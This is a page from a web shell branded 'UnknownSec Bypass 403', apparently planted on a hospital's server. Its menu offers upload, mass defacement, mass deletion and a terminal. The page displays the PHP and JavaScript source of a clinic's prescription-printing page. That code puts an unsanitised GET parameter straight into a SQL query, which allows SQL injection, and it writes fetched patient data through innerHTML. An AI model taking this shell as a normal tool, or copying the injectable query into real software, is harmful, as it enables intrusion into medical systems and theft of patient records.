UnknownSec Bypass
403
:
/
var
/
www
/
zenithentcare
/
stmedicosoftware
/
prescription
/ [
drwxrwxr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
print_prescription.php
<?php include "top1.php";?> <!-- /inner_content--> </br> </br> </br> </br> <div class="inner_content_w3_agile_info two_in"> <div class="forms-main_agileits"> <!--/forms-inner--> <div class="inner_content_w3_agile_info two_in"> <table width="100%"> <tr> <td width="70%"> </td> <td width="30%" align="right"><a href="manage_prescription.php" class="btn btn-primary"><i class="fa fa-list"></i> Manage Prescription</a></td> </tr> </table> <div class="forms-inner"> <div id="dynamic_content" class="col-md-12 button_set_one agile_info_shadow graph-form"> <table width="100%" border="0"> <tr> <td width="10%" border="0"> <img src="logo.jpg" id="adimg" name="adimg" alt="" /> </td> <td width="90%"> <div align="center"> <b> <label id="lblhospital" name="lblhospital">BEGRAJ HOSPITAL </label> </b> </br> <label id="lblAddress1" name="lblAddress1">100 Futa Road </label> </br> <label id="lblAddress2" name="lblAddress2">Bareilly </label> </br> <label id="lblHMobileNo" name="lblHMobileNo">Mobile No: 8979236470, 9259976724 </label> </br> <label id="lblHMobileNo" name="lblHMobileNo">Patient Prescription</label> </div> </td> </tr> </table> </br> <table width="100%"> <tr> <td width="33%"> <label id="title1" name="title1">UHID: </label> <label id="uhid" name="uhid">UHID:</label> </td> <td width="33%"> <label id="title2" name="title2">Opd No. :</label> <label id="opdno" name="opdno"></label> </td> <td width="33%"> <label id="title3" name="title3">Date :</label> <label id="voucherdate" name="voucherdate"> </label> </td> </tr> <tr> <td> <label id="title4" name="title4">Name : </label> <label id="name" name="name"> </label> </td> <td> <label id="title5" name="title5">Age: </label> <label id="age" name="age"> </label> </td> <td> <label id="title6" name="title6">Sex : </label> <label id="sex" name="sex"> </label> </td> </tr> <tr> <td width="33%"> <label id="title7" name="title7">Mobile No. :</label> <label id="mobile" name="mobile"></label> </td> <td width="33%"> <label id="title8" name="title8">Address :</label> <label id="address" name="address"> </label> </td> <td width="33%"> <label id="title9" name="title9">Consultant :</label> <label id="consultant" name="consultant"></label> </td> </tr> </table> </br> <table width="100%"> <tr> <td width="33%"> <label id="title1" name="title1">B.P.: </label> <label id="bp" name="bp"></label> </td> <td width="33%"> <label id="title2" name="title2">Pulse :</label> <label id="pulse" name="pulse"></label> </td> <td width="33%"> <label id="title3" name="title3">Spo2 :</label> <label id="spo2" name="spo2"> </label> </td> </tr> <tr> <td> <label id="title4" name="title4">Height : </label> <label id="height" name="height"> </label> </td> <td> <label id="title5" name="title5">Weight: </label> <label id="weight" name="weight"> </label> </td> <td> </td> </tr> <tr> <td width="100%" colspan="3"> <label id="title7" name="title7">Complaint. :</label> <label id="complaint" name="complaint"></label> </td> </tr> <tr> <td width="100%" colspan="3"> <label id="title7" name="title7">Diagnosis. :</label> <label id="diagnosis" name="diagnosis"></label> </td> </tr> <tr> <td width="100%" colspan="3"> <label id="title7" name="title7">Test Required. :</label> <label id="testrequired" name="testrequired"></label> </td> </tr> </table> <br> <p>Rx </p> <?php $sql= "select * from prescriptiontb where visitid='".$_GET['opdno']."' and isdeleted=0"; $result=mysqli_query($conn, $sql) or die("Query Failed."); if (mysqli_num_rows($result)>0) { ?> <table width="100%" id="prescrption"> <thead> <tr> <th width="5%">SNo.</th> <th width="30%">Medicine Name</th> <th width="10%">Dosage</th> <th width="10%">When</th> <th width="10%">Frequency</th> <th width="5%">Duration</th> <th width="25%">Notes</th> </tr> </thead> <tbody> <?php $sno=1; while ($row = mysqli_fetch_assoc($result)) { ?> <tr> <td width="5%"><?php echo $sno; ?> </td> <td width="30%"><?php echo $row['type'].': '. $row['medicine']; ?> </br> <?php echo $row['dosageremark']; ?> </td> <td width="10%"> <?php echo $row['dosage']; ?> </td> <td width="10%"> <?php echo $row['timing']; ?> </td> <td width="10%"> <?php echo $row['frequency']; ?> </td> <td width="5%"> <?php echo $row['duration']; ?> </td> <td width="30%"> <?php echo $row['notes']; ?> </td> </tr> <?php $sno++; } } ?> </tbody> </table> <table width="100%"> <tr> <td width="75%"> </td> <td width="25%"> <label id="lblconsultantwithdegree" name="lblconsultantwithdegree"></label> </td> <tr> </table> </div> <div class="clearfix"> </div> <div align="center"> <button type="submit" name="btnprint" id="btnsavecustomer" onclick="return PrintPanel();" class="btn btn-primary">Print</button> </div> <br><br> </div> </div> </div> <!--//set-1--> <!-- //inner_c <!-- //inner_content--> <style> table, th, td { border: 1px solid black; border-collapse: collapse; } th, td { padding: 5px; } </style> <style> #prescrption { font-family: Arial, Helvetica, sans-serif; border-collapse: collapse; width: 100%; } #prescrption td, #prescrption th { border: 1px solid #ddd; padding: 8px; } #prescrption tr:nth-child(even){background-color: #f2f2f2;} #prescrption tr:hover {background-color: #ddd;} #prescrption th { padding-top: 12px; padding-bottom: 12px; text-align: left; background-color: #04AA6D; color: white; } </style> <script type="text/javascript"> function PrintPanel() { var panel = document.getElementById("dynamic_content"); var printWindow = window.open('', '', 'height=400,width=800'); var htmlToPrint = '' + '<style type="text/css">' + 'table th, table td {' + 'border:1px solid #000;' + 'padding:0.5em;' + '}' + '</style>'; htmlToPrint += panel.innerHTML; printWindow.document.write('<html><head><title></title>'); printWindow.document.write('</head><body >'); printWindow.document.write(htmlToPrint); printWindow.document.write('</body></html>'); printWindow.document.close(); setTimeout(function() { printWindow.print(); }, 500); return false; } function gethospitaldetails() { try { var urlgetcode = '../get_hospitalheader.php'; $.ajax({ method: 'POST', url: urlgetcode, dataType: 'json', async: true, cache: false, success: function(data) { document.getElementById('lblhospital').innerHTML = data.header; document.getElementById('lblAddress1').innerHTML = data.address1; document.getElementById('lblAddress2').innerHTML = data.address2; document.getElementById('lblHMobileNo').innerHTML = data.phoneno; }, error: function(request) { alert(request.responseText); } }); } catch (Error) { alert(Error); } return; } function getvisitdetails(val) { let identifier = 2; try { $.ajax({ method: 'POST', url: 'get_visitdetails.php', data: '&opdno=' + val, dataType: 'json', async: true, cache: false, success: function(data) { document.getElementById('uhid').innerHTML = data.suhid; document.getElementById('opdno').innerHTML = data.sfileno; document.getElementById('voucherdate').innerHTML = data.visitdate; document.getElementById('name').innerHTML = data.pntpre + '' + data.name; document.getElementById('age').innerHTML = data.age + '' + data.pntageyrs; document.getElementById('sex').innerHTML = data.sex; document.getElementById('mobile').innerHTML = data.mobile; document.getElementById('address').innerHTML = data.address1; document.getElementById('address').innerHTML = data.address1; document.getElementById('bp').innerHTML = data.pressure; document.getElementById('pulse').innerHTML = data.pulse; document.getElementById('spo2').innerHTML = data.spo2; document.getElementById('height').innerHTML = data.height; document.getElementById('weight').innerHTML = data.weight; document.getElementById('complaint').innerHTML = data.complaint; document.getElementById('diagnosis').innerHTML = data.diagnosis; document.getElementById('testrequired').innerHTML = data.testrequired document.getElementById('consultant').innerHTML = data.examinedby; document.getElementById('lblconsultantwithdegree').innerHTML = data.examinedby+', '+data.degree; // document.getElementById('consultant').innerHTML = data.examinedby; // document.getElementById('referedby').innerHTML = data.refferedby; PrintPanel(); }, error: function(request) { alert(request.responseText); } }); } catch (Error) { alert(Error); } return; } function getUrlVars() { var vars = [], hash; var hashes = window.location.href.slice(window.location.href.indexOf('?') + 1).split('&'); for (var i = 0; i < hashes.length; i++) { hash = hashes[i].split('='); vars.push(hash[0]); vars[hash[0]] = hash[1]; } return vars; } $(document).ready(function() { gethospitaldetails(); var id = getUrlVars()['opdno']; getvisitdetails(id) }); </script> <?php include "footer.php";?>
Copyright © 2025 - UnknownSec